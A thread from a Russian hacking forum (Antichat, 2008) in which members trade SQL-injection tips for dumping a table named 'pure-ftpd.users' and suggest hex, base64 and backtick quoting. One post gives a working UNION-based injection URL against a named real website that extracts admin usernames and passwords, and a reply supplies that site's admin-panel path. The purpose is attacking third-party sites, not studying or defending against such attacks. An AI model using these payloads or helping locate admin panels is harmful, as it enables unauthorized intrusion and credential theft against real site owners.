HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #621  
Старый 04.01.2008, 20:18
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756

Репутация: 2032


Отправить сообщение для Piflit с помощью ICQ
По умолчанию

запрос
Цитата:
concat(table_schema,0x2e,table_name)+from+informat ion_schema.tables
выдает
Цитата:
pure-ftpd.users
как теперь вывести содержимое этой таблицы users из бд pure-ftpd? (мешает '-' ), т.к. таблица users уже есть в другой бд и запрос from+users выдает другую инфу.
 
Ответить с цитированием

  #622  
Старый 04.01.2008, 21:42
Ky3bMu4
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме:
1777536

Репутация: 932


Отправить сообщение для Ky3bMu4 с помощью ICQ
По умолчанию

Мож вот так?
Код:
base_decode(cHVyZS1mdHBkLnVzZXJz)
Ну ешё можно через aec decrypt\encrypt.

Последний раз редактировалось Ky3bMu4; 04.01.2008 в 21:44..
 
Ответить с цитированием

  #623  
Старый 05.01.2008, 00:06
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

select omfg from pure-ftpd.users
в чём проблема?
Кузьмич, не говори х**ни
 
Ответить с цитированием

  #624  
Старый 05.01.2008, 00:15
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756

Репутация: 2032


Отправить сообщение для Piflit с помощью ICQ
По умолчанию

Цитата:
Сообщение от Spyder  
select omfg from pure-ftpd.users
в чём проблема?
Кузьмич, не говори х**ни
+from+pure-ftpd.users/*
Цитата:
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-ftpd.users/*' at line 1
 
Ответить с цитированием

  #625  
Старый 05.01.2008, 00:16
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

mysql hex?
__________________
..
 
Ответить с цитированием

  #626  
Старый 05.01.2008, 00:25
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

Слип, ты сначало сам попробуй где нить имя таблицы в хекс первести и потом данные извлечь, ога? Друк Кузьмича что ли?
 
Ответить с цитированием

  #627  
Старый 05.01.2008, 00:32
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

Блядь ты знак "?" видишь или нет? Мб мне надо скрин своего поста для тебя сделать=\

Цитата:
Сообщение от Spyder  
select omfg from pure-ftpd.users
в чём проблема?
Ты сам то походу не далеко ушёл=\
__________________
..

Последний раз редактировалось .Slip; 05.01.2008 в 00:44..
 
Ответить с цитированием

  #628  
Старый 05.01.2008, 04:08
А®ТеS
Участник форума
Регистрация: 25.11.2006
Сообщений: 291
Провел на форуме:
1537850

Репутация: 536
Отправить сообщение для А®ТеS с помощью ICQ
По умолчанию

Наковырял инж на сайте http://www.ecoaction.com.au/, подобрал таблицы, поля, есть акк админа:
Цитата:
http://www.ecoaction.com.au/content.php?id=-1+union+select+1,2,3,AES_DECRYPT(AES_ENCRYPT(conca t(username,';',password),0x71),0x71),5,6,7,8,9,10, 11+FROM+users/*
Вопрос значит такой: а где админка?))).
 
Ответить с цитированием

  #629  
Старый 05.01.2008, 04:17
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756

Репутация: 2032


Отправить сообщение для Piflit с помощью ICQ
По умолчанию

А®ТеS
http://www.ecoaction.com.au/esa
 
Ответить с цитированием

  #630  
Старый 05.01.2008, 06:06
Noiro
Познающий
Регистрация: 01.01.2008
Сообщений: 50
Провел на форуме:
187422

Репутация: 71
По умолчанию

Цитата:
Сообщение от Piflit  
+from+pure-ftpd.users/*
Попробуй `pure-ftpd`.`users`
'`' обычно никто не экранирует, должно сработать
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ